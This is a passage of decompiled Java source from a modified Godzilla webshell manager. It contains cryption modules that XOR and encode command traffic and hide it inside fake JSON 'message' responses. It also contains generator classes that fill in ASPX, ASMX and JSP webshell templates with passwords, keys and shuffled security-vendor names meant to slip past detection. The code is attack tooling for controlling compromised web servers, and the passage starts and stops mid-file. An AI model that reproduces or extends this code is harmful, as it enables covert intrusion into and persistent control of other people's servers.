findStrMd5 = functions.md5(this.pass + new String(this.key)); 42 | //this.findStrLeft = findStrMd5.substring(0, 16); 43 | //this.findStrRight = findStrMd5.substring(16); 44 | this.findStrLeft = "{\"message\":\""; 45 | this.findStrRight = "\"}"; 46 | 47 | try { 48 | this.payload = this.shell.getPayloadModule().getPayload(); 49 | if (this.payload != null) { 50 | this.http.sendHttpResponse(this.payload); 51 | this.state = true; 52 | } else { 53 | Log.error("payload Is Null"); 54 | } 55 | 56 | } catch (Exception var4) { 57 | Exception e = var4; 58 | Log.error(e); 59 | } 60 | } 61 | 62 | public byte[] encode(byte[] data) { 63 | try { 64 | return this.E(data); 65 | } catch (Exception var3) { 66 | Exception e = var3; 67 | Log.error(e); 68 | return null; 69 | } 70 | } 71 | 72 | public byte[] decode(byte[] data) { 73 | if (data != null && data.length > 0) { 74 | try { 75 | return this.D(this.findStr(data)); 76 | } catch (Exception var3) { 77 | Exception e = var3; 78 | Log.error(e); 79 | return null; 80 | } 81 | } else { 82 | return data; 83 | } 84 | } 85 | 86 | public boolean isSendRLData() { 87 | return true; 88 | } 89 | 90 | public byte[] E(byte[] cs) { 91 | int len = cs.length; 92 | 93 | for(int i = 0; i < len; ++i) { 94 | cs[i] ^= this.key[i + 1 & 15]; 95 | } 96 | 97 | 98 | String Str1 = functions.base64EncodeToString(cs); 99 | // //return (this.pass + "=" + URLEncoder.encode(functions.base64EncodeToString(cs))).getBytes(); 100 | // System.out.println(Str1); 101 | 102 | StringBuilder hexString = new StringBuilder(); 103 | byte[] bytes = Str1.getBytes(StandardCharsets.UTF_8); 104 | for (byte b : bytes) { 105 | hexString.append(String.format("%02X", b)); // 转换为Hex并拼接 106 | } 107 | 108 | // System.out.println("Hex Output: " + hexString.toString()); 109 | 110 | return (this.pass + "=" + hexString).getBytes(); 111 | 112 | } 113 | 114 | 115 | public byte[] D(String data) { 116 | byte[] cs = functions.base64Decode(data); 117 | int len = cs.length; 118 | 119 | for(int i = 0; i < len; ++i) { 120 | cs[i] ^= this.key[i + 1 & 15]; 121 | } 122 | 123 | return cs; 124 | } 125 | 126 | public String findStr(byte[] respResult) { 127 | String htmlString = new String(respResult); 128 | return functions.subMiddleStr(htmlString, this.findStrLeft, this.findStrRight); 129 | } 130 | 131 | public boolean check() { 132 | return this.state; 133 | } 134 | 135 | public byte[] generate(String password, String secretKey) { 136 | return (new String(functions.readInputStreamAutoClose(PhpXorhex.class.getResourceAsStream("template/xorbase64message.bin")))).replace("{pass}", password).replace("{secretKey}", functions.md5(secretKey).substring(0, 16)).getBytes(); 137 | } 138 | } 139 | -------------------------------------------------------------------------------- /util/http/HttpResponse.java: -------------------------------------------------------------------------------- 1 | /* 2 | * Decompiled with CFR 0.153-SNAPSHOT (d6f6758-dirty). 3 | */ 4 | package util.http; 5 | 6 | import com.httpProxy.server.response.HttpResponseHeader; 7 | import com.httpProxy.server.response.HttpResponseStatus; 8 | import core.ApplicationContext; 9 | import core.shell.ShellEntity; 10 | import core.ui.component.dialog.HttpProgressBar; 11 | import java.io.ByteArrayOutputStream; 12 | import java.io.IOException; 13 | import java.io.InputStream; 14 | import java.net.HttpCookie; 15 | import java.net.HttpURLConnection; 16 | import java.util.List; 17 | import java.util.Map; 18 | import util.http.Http; 19 | 20 | public class HttpResponse { 21 | private byte[] result; 22 | private final ShellEntity shellEntity; 23 | private Map> headerMap; 24 | private String message; 25 | private int responseCode; 26 | 27 | public byte[] getResult() { 28 | return this.result; 29 | } 30 | 31 | public Map> getHeaderMap() { 32 | return this.headerMap; 33 | } 34 | 35 | public void setResult(byte[] result) { 36 | this.result = result; 37 | } 38 | 39 | public void setHeaderMap(Map> headerMap) { 40 | this.headerMap = headerMap; 41 | } 42 | 43 | public HttpResponse(HttpURLConnection http, ShellEntity shellEntity) throws IOException { 44 | this.shellEntity = shellEntity; 45 | this.handleHeader(http.getHeaderFields()); 46 | this.ReadAllData(this.getInputStream(http)); 47 | } 48 | 49 | protected void handleHeader(Map> map) { 50 | this.headerMap = map; 51 | try { 52 | this.message = map.get(null).get(0); 53 | Http http = this.shellEntity.getHttp(); 54 | http.getCookieManager().put(http.getUri(), map); 55 | http.getCookieManager().getCookieStore().get(http.getUri()); 56 | List cookies = http.getCookieManager().getCookieStore().get(http.getUri()); 57 | StringBuilder sb = new StringBuilder(); 58 | cookies.forEach(cookie -> sb.append(String.format(" %s=%s", cookie.getName(), cookie.getValue()))); 59 | if (sb.length() > 0) { 60 | this.shellEntity.getHeaders().put("Cookie", sb.toString().trim()); 61 | } 62 | } catch (IOException e) { 63 | e.printStackTrace(); 64 | } 65 | } 66 | 67 | protected InputStream getInputStream(HttpURLConnection httpURLConnection) throws IOException { 68 | InputStream inputStream = httpURLConnection.getErrorStream(); 69 | if (inputStream != null) { 70 | return inputStream; 71 | } 72 | return httpURLConnection.getInputStream(); 73 | } 74 | 75 | protected void ReadAllData(InputStream inputStream) throws IOException { 76 | int maxLen = 0; 77 | try { 78 | if (this.headerMap.get("Content-Length") != null && this.headerMap.get("Content-Length").size() > 0) { 79 | maxLen = Integer.parseInt(this.headerMap.get("Content-Length").get(0)); 80 | this.result = this.ReadKnownNumData(inputStream, maxLen); 81 | } else { 82 | this.result = this.ReadUnknownNumData(inputStream); 83 | } 84 | } catch (NumberFormatException e) { 85 | this.result = this.ReadUnknownNumData(inputStream); 86 | } 87 | this.result = this.shellEntity.getCryptionModule().decode(this.result); 88 | } 89 | 90 | protected byte[] ReadKnownNumData(InputStream inputStream, int num) throws IOException { 91 | if (num > 0) { 92 | byte[] temp = new byte[5120]; 93 | int readOneNum = 0; 94 | int readNum = 0; 95 | ByteArrayOutputStream bos = new ByteArrayOutputStream(); 96 | Boolean isShowBar = ApplicationContext.isShowHttpProgressBar.get(); 97 | if (isShowBar != null && isShowBar.booleanValue()) { 98 | HttpProgressBar httpProgressBar = new HttpProgressBar("download threadId:" + Thread.currentThread().getId(), num); 99 | while ((readOneNum = inputStream.read(temp)) != -1) { 100 | bos.write(temp, 0, readOneNum); 101 | httpProgressBar.setValue(readNum += readOneNum); 102 | } 103 | } else { 104 | while ((readOneNum = inputStream.read(temp)) != -1) { 105 | bos.write(temp, 0, readOneNum); 106 | } 107 | } 108 | return bos.toByteArray(); 109 | } 110 | if (num == 0) { 111 | return this.ReadUnknownNumData(inputStream); 112 | } 113 | return null; 114 | } 115 | 116 | protected byte[] ReadUnknownNumData(InputStream inputStream) throws IOException { 117 | byte[] temp = new byte[5120]; 118 | int readOneNum = 0; 119 | ByteArrayOutputStream bos = new ByteArrayOutputStream(); 120 | while ((readOneNum = inputStream.read(temp)) != -1) { 121 | bos.write(temp, 0, readOneNum); 122 | } 123 | return bos.toByteArray(); 124 | } 125 | 126 | public com.httpProxy.server.response.HttpResponse parseHttpResponse() { 127 | com.httpProxy.server.response.HttpResponse httpResponse = new com.httpProxy.server.response.HttpResponse(new HttpResponseStatus(this.responseCode)); 128 | httpResponse.setResponseData(this.result); 129 | HttpResponseHeader responseHeader = httpResponse.getHttpResponseHeader(); 130 | for (String keyString : this.headerMap.keySet()) { 131 | List headList = this.headerMap.get(keyString); 132 | if (headList == null) continue; 133 | headList.parallelStream().forEach(v -> responseHeader.addHeader(keyString, (String)v)); 134 | } 135 | return httpResponse; 136 | } 137 | } 138 | 139 | -------------------------------------------------------------------------------- /shells/cryptions/cshapAes/Generate.java: -------------------------------------------------------------------------------- 1 | // 2 | // Source code recreated from a .class file by IntelliJ IDEA 3 | // (powered by FernFlower decompiler) 4 | // 5 | 6 | package shells.cryptions.cshapAes; 7 | 8 | import core.ui.component.dialog.GOptionPane; 9 | import java.awt.Component; 10 | import java.io.InputStream; 11 | import java.util.Random; 12 | import javax.swing.Icon; 13 | import util.Log; 14 | import util.functions; 15 | 16 | class Generate { 17 | private static final String[] SUFFIX = new String[]{"aspx", "asmx", "ashx"}; 18 | 19 | Generate() { 20 | } 21 | 22 | public static byte[] GenerateShellLoder(String shellName, String pass, String secretKey, boolean isBin) { 23 | byte[] data = null; 24 | 25 | try { 26 | InputStream inputStream = Generate.class.getResourceAsStream("template/" + shellName + (isBin ? "raw.bin" : "base64.bin")); 27 | String code = new String(functions.readInputStream(inputStream)); 28 | inputStream.close(); 29 | code = code.replace("{pass}", pass).replace("{secretKey}", secretKey); 30 | Object selectedValue = GOptionPane.showInputDialog((Component)null, "suffix", "selected suffix", 1, (Icon)null, SUFFIX, (Object)null); 31 | if (selectedValue != null) { 32 | String suffix = (String)selectedValue; 33 | inputStream = Generate.class.getResourceAsStream("template/shell." + suffix); 34 | String template = new String(functions.readInputStream(inputStream)); 35 | inputStream.close(); 36 | template = template.replace("{code}", code); 37 | data = template.getBytes(); 38 | } 39 | } catch (Exception var10) { 40 | Exception e = var10; 41 | Log.error(e); 42 | } 43 | 44 | return data; 45 | } 46 | 47 | public static byte[] GenerateShellLoderdata(String pass, String secretKey, String className) { 48 | byte[] data = null; 49 | 50 | try { 51 | InputStream inputStream = Generate.class.getResourceAsStream("template/" + className + ".bin"); 52 | String code = new String(functions.readInputStream(inputStream)); 53 | inputStream.close(); 54 | 55 | String[] arr = { "qianxin", "nsfocus", "sangfor", "dbappsecurity", "chaitin", "damddos", "alibaba", "baidu" ,"leadsec", "venustech", 56 | "asiainfosec","qingteng","threatbook","antiy","dptech","hillstonenet","topsec","huawei","sina","webray", 57 | "tencent","bytedance","douyin","westone"}; 58 | shuffle(arr); 59 | //System.out.println(arr[1]+arr[2]); 60 | //System.out.println(code); 61 | code = code.replace("{pass}", functions.base64EncodeToString(pass.getBytes())).replace("{secretKey}", functions.base64EncodeToString(secretKey.getBytes())) 62 | .replace("{stryi}", arr[0]).replace("{strer}", arr[1]) 63 | .replace("{strsan}", arr[2]).replace("{strsi}", arr[3]) 64 | .replace("{strwu}", arr[4]).replace("{strliu}", arr[5]) 65 | .replace("{strqi}", arr[6]).replace("{strba}", arr[7]) 66 | .replace("{strjiu}", arr[8]).replace("{strshi}", arr[9]) 67 | .replace("{strshiyi}", arr[10]).replace("{strshier}", arr[11]) 68 | .replace("{strshisan}", arr[12]).replace("{strshisi}", arr[13]) 69 | .replace("{strshiwu}", arr[14]).replace("{strshiliu}", arr[15]) 70 | .replace("{strshiqi}", arr[16]).replace("{strshiba}", arr[17]) 71 | .replace("{strshijiu}", arr[18]).replace("{strershi}", arr[19]) 72 | .replace("{strershiyi}", arr[20]).replace("{strershier}", arr[21]) 73 | .replace("{strershisan}", arr[22]).replace("{strershisi}", arr[23]); 74 | 75 | //System.out.println(code); 76 | Object selectedValue = GOptionPane.showInputDialog((Component)null, "suffix", "selected suffix", 1, (Icon)null, SUFFIX, (Object)null); 77 | if (selectedValue != null) { 78 | String suffix = (String)selectedValue; 79 | inputStream = Generate.class.getResourceAsStream("template/shell." + suffix); 80 | String template = new String(functions.readInputStream(inputStream)); 81 | inputStream.close(); 82 | template = template.replace("{code}", code); 83 | data = template.getBytes(); 84 | } 85 | } catch (Exception var10) { 86 | Exception e = var10; 87 | Log.error(e); 88 | } 89 | 90 | return data; 91 | } 92 | 93 | public static byte[] GenerateShellLoder(String pass, String secretKey, boolean isBin) { 94 | return GenerateShellLoder("", pass, secretKey, isBin); 95 | } 96 | 97 | public static byte[] GenerateShellLoderByAsmx(String shellName, String pass, String secretKey) { 98 | byte[] data = null; 99 | 100 | try { 101 | InputStream inputStream = Generate.class.getResourceAsStream("template/" + shellName + "shellAsmx.asmx"); 102 | String code = new String(functions.readInputStream(inputStream)); 103 | inputStream.close(); 104 | code = code.replace("{pass}", pass).replace("{secretKey}", secretKey); 105 | return code.getBytes(); 106 | } catch (Exception var6) { 107 | Exception e = var6; 108 | Log.error(e); 109 | return (byte[])data; 110 | } 111 | } 112 | 113 | public static byte[] GenerateShellLoderByAsmx(String pass, String secretKey) { 114 | return GenerateShellLoderByAsmx("", pass, secretKey); 115 | } 116 | private static Random rand = new Random(); 117 | 118 | public static void swap(T[] a, int i, int j) { 119 | T temp = a[i]; 120 | a[i] = a[j]; 121 | a[j] = temp; 122 | } 123 | 124 | public static void shuffle(T[] arr) { 125 | int length = arr.length; 126 | for (int i = length; i > 0; i--) { 127 | int randInd = rand.nextInt(i); 128 | swap(arr, randInd, i - 1); 129 | } 130 | } 131 | } 132 | -------------------------------------------------------------------------------- /shells/cryptions/phpXor/PhpXormessage.java: -------------------------------------------------------------------------------- 1 | // 2 | // Source code recreated from a .class file by IntelliJ IDEA 3 | // (powered by FernFlower decompiler) 4 | // 5 | 6 | package shells.cryptions.phpXor; 7 | 8 | import core.annotation.CryptionAnnotation; 9 | import core.imp.Cryption; 10 | import core.shell.ShellEntity; 11 | import java.net.URLEncoder; 12 | import java.util.Arrays; 13 | import java.util.HashMap; 14 | import java.util.Map; 15 | import java.util.Random; 16 | 17 | import util.Log; 18 | import util.functions; 19 | import util.http.Http; 20 | 21 | @CryptionAnnotation( 22 | Name = "PHP_XOR_BASE64_MESSAGES", 23 | payloadName = "PhpDynamicPayload" 24 | ) 25 | public class PhpXormessage implements Cryption { 26 | private ShellEntity shell; 27 | private Http http; 28 | private byte[] key; 29 | private boolean state; 30 | private String pass; 31 | private byte[] payload; 32 | private String findStrLeft; 33 | private String findStrRight; 34 | private String changshangyi; 35 | //private String changshangyi = "aaaaa"; 36 | 37 | public PhpXormessage() { 38 | } 39 | 40 | public void init(ShellEntity context) { 41 | this.shell = context; 42 | this.http = this.shell.getHttp(); 43 | this.key = this.shell.getSecretKeyX().getBytes(); 44 | this.pass = this.shell.getPassword(); 45 | String findStrMd5 = functions.md5(this.pass + new String(this.key)); 46 | //this.findStrLeft = findStrMd5.substring(0, 16); 47 | //this.findStrRight = findStrMd5.substring(16); 48 | this.findStrLeft = "{\"message\":\""; 49 | this.findStrRight = "\"}"; 50 | 51 | try { 52 | this.payload = this.shell.getPayloadModule().getPayload(); 53 | if (this.payload != null) { 54 | this.http.sendHttpResponse(this.payload); 55 | this.state = true; 56 | } else { 57 | Log.error("payload Is Null"); 58 | } 59 | 60 | } catch (Exception var4) { 61 | Exception e = var4; 62 | Log.error(e); 63 | } 64 | } 65 | 66 | public byte[] encode(byte[] data) { 67 | try { 68 | return this.E(data); 69 | } catch (Exception var3) { 70 | Exception e = var3; 71 | Log.error(e); 72 | return null; 73 | } 74 | } 75 | 76 | public byte[] decode(byte[] data) { 77 | if (data != null && data.length > 0) { 78 | try { 79 | return this.D(this.findStr(data)); 80 | } catch (Exception var3) { 81 | Exception e = var3; 82 | Log.error(e); 83 | return null; 84 | } 85 | } else { 86 | return data; 87 | } 88 | } 89 | 90 | public boolean isSendRLData() { 91 | return true; 92 | } 93 | 94 | // @Override 95 | // public byte[] generate(String s, String s1) { 96 | // return new byte[0]; 97 | // } 98 | 99 | public byte[] E(byte[] cs) { 100 | int len = cs.length; 101 | 102 | for(int i = 0; i < len; ++i) { 103 | cs[i] ^= this.key[i + 1 & 15]; 104 | } 105 | 106 | return (this.pass + "=" + URLEncoder.encode(functions.base64EncodeToString(cs))).getBytes(); 107 | } 108 | 109 | public byte[] D(String data) { 110 | byte[] cs = functions.base64Decode(data); 111 | int len = cs.length; 112 | 113 | for(int i = 0; i < len; ++i) { 114 | cs[i] ^= this.key[i + 1 & 15]; 115 | } 116 | 117 | return cs; 118 | } 119 | 120 | public String findStr(byte[] respResult) { 121 | String htmlString = new String(respResult); 122 | return functions.subMiddleStr(htmlString, this.findStrLeft, this.findStrRight); 123 | } 124 | 125 | public boolean check() { 126 | return this.state; 127 | } 128 | 129 | // public byte[] generate(String password, String secretKey) { 130 | // return (new String(functions.readInputStreamAutoClose(PhpXormessage.class.getResourceAsStream("template/xorbase64message.bin")))).replace("{pass}", functions.base64EncodeToString(password.getBytes())).replace("{secretKey}", functions.base64EncodeToString(functions.md5(secretKey).substring(0, 16).getBytes())).getBytes(); 131 | // } 132 | 133 | 134 | // public byte[] generate(String password, String secretKey) { 135 | // return Generate.GenerateShellLoder(password, functions.md5(secretKey).substring(0, 16), false); 136 | // } 137 | // private static Random rand = new Random(); 138 | // public static void swap(T[] a, int i, int j) { 139 | // T temp = a[i]; 140 | // a[i] = a[j]; 141 | // a[j] = temp; 142 | // } 143 | // 144 | // public static void shuffle(T[] arr) { 145 | // int length = arr.length; 146 | // for (int i = length; i > 0; i--) { 147 | // int randInd = rand.nextInt(i); 148 | // swap(arr, randInd, i - 1); 149 | // } 150 | // } 151 | 152 | 153 | public byte[] generate(String password, String secretKey) { 154 | String[] arr = { "qianxin", "nsfocus", "sangfor", "dbappsecurity", "chaitin", "damddos", "alibaba", "baidu" ,"leadsec", 155 | "venustech","asiainfosec","qingteng","threatbook","antiy","dptech","hillstonenet","topsec","huawei"}; 156 | shuffle(arr); 157 | return (new String(functions.readInputStreamAutoClose(PhpXormessage.class.getResourceAsStream("template/xorbase64message.bin")))) 158 | .replace("{pass}", functions.base64EncodeToString(password.getBytes())) 159 | .replace("{secretKey}", functions.base64EncodeToString(functions.md5(secretKey).substring(0, 16).getBytes())) 160 | .replace("{stryi}", arr[0]).replace("{strer}", arr[1]) 161 | .replace("{strsan}", arr[2]).replace("{strsi}", arr[3]) 162 | .replace("{strwu}", arr[4]).replace("{strliu}", arr[5]) 163 | .replace("{strqi}", arr[6]).replace("{strba}", arr[7]) 164 | .replace("{strjiu}", arr[8]).replace("{strshi}", arr[9]) 165 | .replace("{strshiyi}", arr[10]).replace("{strshier}", arr[11]) 166 | .replace("{strshisan}", arr[12]).replace("{strshisi}", arr[13]) 167 | .replace("{strshiwu}", arr[14]).replace("{strshiliu}", arr[15]) 168 | .replace("{strshiqi}", arr[16]).replace("{strshiba}", arr[17]) 169 | .getBytes(); 170 | } 171 | private static Random rand = new Random(); 172 | 173 | public static void swap(T[] a, int i, int j) { 174 | T temp = a[i]; 175 | a[i] = a[j]; 176 | a[j] = temp; 177 | } 178 | 179 | public static void shuffle(T[] arr) { 180 | int length = arr.length; 181 | for (int i = length; i > 0; i--) { 182 | int randInd = rand.nextInt(i); 183 | swap(arr, randInd, i - 1); 184 | } 185 | } 186 | 187 | } 188 | -------------------------------------------------------------------------------- /core/ApplicationConfig.java: -------------------------------------------------------------------------------- 1 | /* 2 | * Decompiled with CFR 0.153-SNAPSHOT (d6f6758-dirty). 3 | */ 4 | package core; 5 | 6 | import core.EasyI18N; 7 | import core.ui.component.dialog.GOptionPane; 8 | import core.ui.component.dialog.ImageShowDialog; 9 | import java.io.ByteArrayInputStream; 10 | import java.io.File; 11 | import java.io.FileInputStream; 12 | import java.io.IOException; 13 | import java.io.UnsupportedEncodingException; 14 | import java.util.HashMap; 15 | import javax.imageio.ImageIO; 16 | import javax.swing.ImageIcon; 17 | import javax.swing.JOptionPane; 18 | import util.Log; 19 | import util.functions; 20 | 21 | public class ApplicationConfig { 22 | private static final String GITEE_CONFIG_URL = "https://gitee.com/beichendram/Godzilla/raw/master/%s"; 23 | private static final String GIT_CONFIG_URL = "https://raw.githubusercontent.com/BeichenDream/Godzilla/master/%s"; 24 | private static String ACCESS_URL = "https://gitee.com/beichendram/Godzilla/raw/master/%s"; 25 | public static final String GIT = "https://github.com/BeichenDream/Godzilla"; 26 | private static final HashMap headers = new HashMap(); 27 | 28 | public static void invoke() { 29 | if (functions.getCurrentJarFile() == null) { 30 | return; 31 | } 32 | HashMap configMap = null; 33 | try { 34 | configMap = ApplicationConfig.getAppConfig(String.format(GITEE_CONFIG_URL, "application.config")); 35 | ACCESS_URL = GITEE_CONFIG_URL; 36 | } catch (Exception e) { 37 | try { 38 | configMap = ApplicationConfig.getAppConfig(String.format(GIT_CONFIG_URL, "application.config")); 39 | ACCESS_URL = GIT_CONFIG_URL; 40 | } catch (Exception e2) { 41 | Log.error("Network connection failure"); 42 | } 43 | } 44 | try { 45 | String tipString; 46 | HashMap md5SumMap = ApplicationConfig.getAppConfig(String.format(ACCESS_URL, "hashsumJar")); 47 | String hashString = md5SumMap.get("4.01"); 48 | File jarFile = functions.getCurrentJarFile(); 49 | String jarHashString = new String(); 50 | if (jarFile != null) { 51 | FileInputStream inputStream = new FileInputStream(jarFile); 52 | byte[] jar = functions.readInputStream(inputStream); 53 | inputStream.close(); 54 | jarHashString = functions.SHA(jar, "SHA-512"); 55 | } 56 | if (hashString != null) { 57 | if (jarFile != null) { 58 | if (!jarHashString.equals(hashString)) { 59 | // tipString = EasyI18N.getI18nString("\u4f60\u4f7f\u7528\u7684\u8f6f\u4ef6\u53ef\u80fd\u5df2\u88ab\u75c5\u6bd2\u611f\u67d3 \u6587\u4ef6\u54c8\u5e0c\u6548\u9a8c\u5931\u8d25\r\n\u6548\u9a8cJar\u54c8\u5e0c:%s\r\n\u672c\u5730Jar\u54c8\u5e0c:%s", hashString, jarHashString); 60 | // GOptionPane.showMessageDialog(null, tipString, EasyI18N.getI18nString("\u8b66\u544a\t\u5f53\u524d\u7248\u672c:", "4.01"), 2); 61 | // Log.error(String.format(tipString, hashString, jarHashString)); 62 | // System.exit(0); 63 | } else { 64 | Log.error(EasyI18N.getI18nString("\u6548\u9a8cHash\u6210\u529f Hash Url:%s\r\n\u6548\u9a8cJar\u54c8\u5e0c:%s\r\n\u672c\u5730Jar\u54c8\u5e0c:%s", String.format(ACCESS_URL, "hashsumJar"), hashString, jarHashString)); 65 | } 66 | } else { 67 | tipString = EasyI18N.getI18nString("\u672a\u627e\u5230Jar\u4f4d\u7f6e\r\n\u4f60\u4f7f\u7528\u7684\u8f6f\u4ef6\u53ef\u80fd\u5df2\u88ab\u75c5\u6bd2\u611f\u67d3 \u6587\u4ef6\u54c8\u5e0c\u6548\u9a8c\u5931\u8d25"); 68 | GOptionPane.showMessageDialog(null, tipString, EasyI18N.getI18nString("\u8b66\u544a\t\u5f53\u524d\u7248\u672c:%s", "4.01", hashString), 2); 69 | Log.error(tipString); 70 | System.exit(0); 71 | } 72 | } else { 73 | tipString = EasyI18N.getI18nString("\u672a\u627e\u5230\u5f53\u524d\u7248\u672c(%s)\u7684Hash\r\n\u5f53\u524dHash:%s\r\n\u4f60\u4f7f\u7528\u7684\u8f6f\u4ef6\u53ef\u80fd\u5df2\u88ab\u75c5\u6bd2\u611f\u67d3 \u6587\u4ef6\u54c8\u5e0c\u6548\u9a8c\u5931\u8d25", "4.01", jarHashString); 74 | JOptionPane.showMessageDialog(null, tipString, EasyI18N.getI18nString("\u8b66\u544a\t\u5f53\u524d\u7248\u672c:%s", "4.01"), 2); 75 | Log.error(String.format(tipString, "4.01")); 76 | System.exit(0); 77 | } 78 | } catch (Exception e) { 79 | Log.error(e); 80 | } 81 | if (configMap != null && configMap.size() > 0) { 82 | String version = configMap.get("currentVersion"); 83 | boolean isShowGroup = Boolean.valueOf(configMap.get("isShowGroup")); 84 | String wxGroupImageUrl = configMap.get("wxGroupImageUrl"); 85 | String showGroupTitle = configMap.get("showGroupTitle"); 86 | String gitUrl = configMap.get("gitUrl"); 87 | boolean isShowAppTip = Boolean.valueOf(configMap.get("isShowAppTip")); 88 | String appTip = configMap.get("appTip"); 89 | if (version != null && wxGroupImageUrl != null && appTip != null && gitUrl != null) { 90 | if (functions.stringToint(version.replace(".", "")) > functions.stringToint("4.01".replace(".", ""))) { 91 | GOptionPane.showMessageDialog(null, EasyI18N.getI18nString("\u65b0\u7248\u672c\u5df2\u7ecf\u53d1\u5e03\n\u5f53\u524d\u7248\u672c:%s\n\u6700\u65b0\u7248\u672c:%s", "4.01", version), "message", 2); 92 | functions.openBrowseUrl(gitUrl); 93 | } 94 | if (isShowAppTip) { 95 | JOptionPane.showMessageDialog(null, appTip, "message", 1); 96 | } 97 | if (isShowGroup) { 98 | try { 99 | ImageIcon imageIcon = new ImageIcon(ImageIO.read(new ByteArrayInputStream(functions.httpReqest(wxGroupImageUrl, "GET", headers, null)))); 100 | ImageShowDialog.showImageDiaolog(imageIcon, showGroupTitle); 101 | } catch (IOException e) { 102 | Log.error(e); 103 | Log.error("showGroup fail!"); 104 | } 105 | } 106 | } 107 | } 108 | } 109 | 110 | private static HashMap getAppConfig(String configUrl) throws Exception { 111 | String[] lines; 112 | String configString; 113 | byte[] result = functions.httpReqest(configUrl, "GET", headers, null); 114 | if (result == null) { 115 | throw new Exception("readApplication Fail!"); 116 | } 117 | try { 118 | configString = new String(result, "utf-8"); 119 | } catch (UnsupportedEncodingException e) { 120 | configString = new String(result); 121 | } 122 | HashMap hashMap = new HashMap(); 123 | for (String line : lines = configString.split("\n")) { 124 | int index = line.indexOf(58); 125 | if (index == -1) continue; 126 | hashMap.put(line.substring(0, index).trim(), line.substring(index + 1).trim()); 127 | } 128 | return hashMap; 129 | } 130 | 131 | static { 132 | headers.put("Accept", "*/*"); 133 | headers.put("User-Agent", "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"); 134 | } 135 | } 136 | 137 | -------------------------------------------------------------------------------- /shells/cryptions/JavaAes/Generate.java: -------------------------------------------------------------------------------- 1 | /* 2 | * Decompiled with CFR 0.153-SNAPSHOT (d6f6758-dirty). 3 | */ 4 | package shells.cryptions.JavaAes; 5 | 6 | import core.ApplicationContext; 7 | import core.ui.component.dialog.GOptionPane; 8 | import java.io.InputStream; 9 | import java.util.Random; 10 | 11 | import util.Log; 12 | import util.functions; 13 | 14 | class Generate { 15 | private static final String[] SUFFIX = new String[]{"jsp", "jspx"}; 16 | 17 | Generate() { 18 | } 19 | 20 | public static byte[] GenerateShellLoder(String shellName, String pass, String secretKey, boolean isBin) { 21 | byte[] data = null; 22 | try { 23 | InputStream inputStream = Generate.class.getResourceAsStream("template/" + shellName + (isBin ? "raw" : "base64") + "GlobalCode.bin"); 24 | String globalCode = new String(functions.readInputStream(inputStream)); 25 | inputStream.close(); 26 | globalCode = globalCode.replace("{pass}", pass).replace("{secretKey}", secretKey); 27 | inputStream = Generate.class.getResourceAsStream("template/" + shellName + (isBin ? "raw" : "base64") + "Code.bin"); 28 | String code = new String(functions.readInputStream(inputStream)); 29 | inputStream.close(); 30 | Object selectedValue = GOptionPane.showInputDialog(null, "suffix", "selected suffix", 1, null, SUFFIX, null); 31 | if (selectedValue != null) { 32 | String suffix = (String)selectedValue; 33 | inputStream = Generate.class.getResourceAsStream("template/shell." + suffix); 34 | String template = new String(functions.readInputStream(inputStream)); 35 | inputStream.close(); 36 | if (suffix.equals(SUFFIX[1])) { 37 | globalCode = globalCode.replace("<", "<").replace(">", ">"); 38 | code = code.replace("<", "<").replace(">", ">"); 39 | } 40 | template = ApplicationContext.isGodMode() ? template.replace("{globalCode}", functions.stringToUnicode(globalCode)).replace("{code}", functions.stringToUnicode(code)) : template.replace("{globalCode}", globalCode).replace("{code}", code); 41 | data = template.getBytes(); 42 | } 43 | } catch (Exception e) { 44 | Log.error(e); 45 | } 46 | return data; 47 | } 48 | 49 | public static byte[] GenerateShellLodermessage(String shellName, String pass, String secretKey, boolean isBin) { 50 | byte[] data = null; 51 | try { 52 | String[] arr = { "qianxin", "nsfocus", "sangfor", "dbappsecurity", "chaitin", "damddos", "alibaba", "baidu" ,"leadsec", "venustech", 53 | "asiainfosec","qingteng","threatbook","antiy","dptech","hillstonenet","topsec","huawei","sina","webray", 54 | "tencent","bytedance","douyin","westone"}; 55 | shuffle(arr); 56 | 57 | InputStream inputStream = Generate.class.getResourceAsStream("template/" + shellName + (isBin ? "raw" : "base64") + "GlobalCodemessage.bin"); 58 | String globalCode = new String(functions.readInputStream(inputStream)); 59 | inputStream.close(); 60 | 61 | //globalCode = globalCode.replace("{pass}", pass).replace("{secretKey}", secretKey); 62 | globalCode = globalCode 63 | .replace("{pass}", functions.base64EncodeToString(pass.getBytes())) 64 | .replace("{secretKey}", functions.base64EncodeToString(secretKey.getBytes())) 65 | .replace("{stryi}", arr[0]).replace("{strer}", arr[1]) 66 | .replace("{strsan}", arr[2]).replace("{strsi}", arr[3]) 67 | .replace("{strwu}", arr[4]).replace("{strliu}", arr[5]) 68 | .replace("{strqi}", arr[6]).replace("{strba}", arr[7]) 69 | .replace("{strjiu}", arr[8]).replace("{strshi}", arr[9]) 70 | .replace("{strshiyi}", arr[10]).replace("{strshier}", arr[11]) 71 | .replace("{strshisan}", arr[12]).replace("{strshisi}", arr[13]) 72 | .replace("{strshiwu}", arr[14]).replace("{strshiliu}", arr[15]) 73 | .replace("{strshiqi}", arr[16]).replace("{strshiba}", arr[17]) 74 | .replace("{strshijiu}", arr[18]).replace("{strershi}", arr[19]) 75 | .replace("{strershiyi}", arr[20]).replace("{strershier}", arr[21]) 76 | .replace("{strershisan}", arr[22]).replace("{strershisi}", arr[23]); 77 | 78 | inputStream = Generate.class.getResourceAsStream("template/" + shellName + (isBin ? "raw" : "base64") + "Codemessage.bin"); 79 | String code = new String(functions.readInputStream(inputStream)); 80 | 81 | inputStream.close(); 82 | code = code.replace("{stryi}", arr[0]).replace("{strer}", arr[1]) 83 | .replace("{strsan}", arr[2]).replace("{strsi}", arr[3]) 84 | .replace("{strwu}", arr[4]).replace("{strliu}", arr[5]) 85 | .replace("{strqi}", arr[6]).replace("{strba}", arr[7]) 86 | .replace("{strjiu}", arr[8]).replace("{strshi}", arr[9]) 87 | .replace("{strshiyi}", arr[10]).replace("{strshier}", arr[11]) 88 | .replace("{strshisan}", arr[12]).replace("{strshisi}", arr[13]) 89 | .replace("{strshiwu}", arr[14]).replace("{strshiliu}", arr[15]) 90 | .replace("{strshiqi}", arr[16]).replace("{strshiba}", arr[17]) 91 | .replace("{strshijiu}", arr[18]).replace("{strershi}", arr[19]) 92 | .replace("{strershiyi}", arr[20]).replace("{strershier}", arr[21]) 93 | .replace("{strershisan}", arr[22]).replace("{strershisi}", arr[23]); 94 | 95 | 96 | Object selectedValue = GOptionPane.showInputDialog(null, "suffix", "selected suffix", 1, null, SUFFIX, null); 97 | if (selectedValue != null) { 98 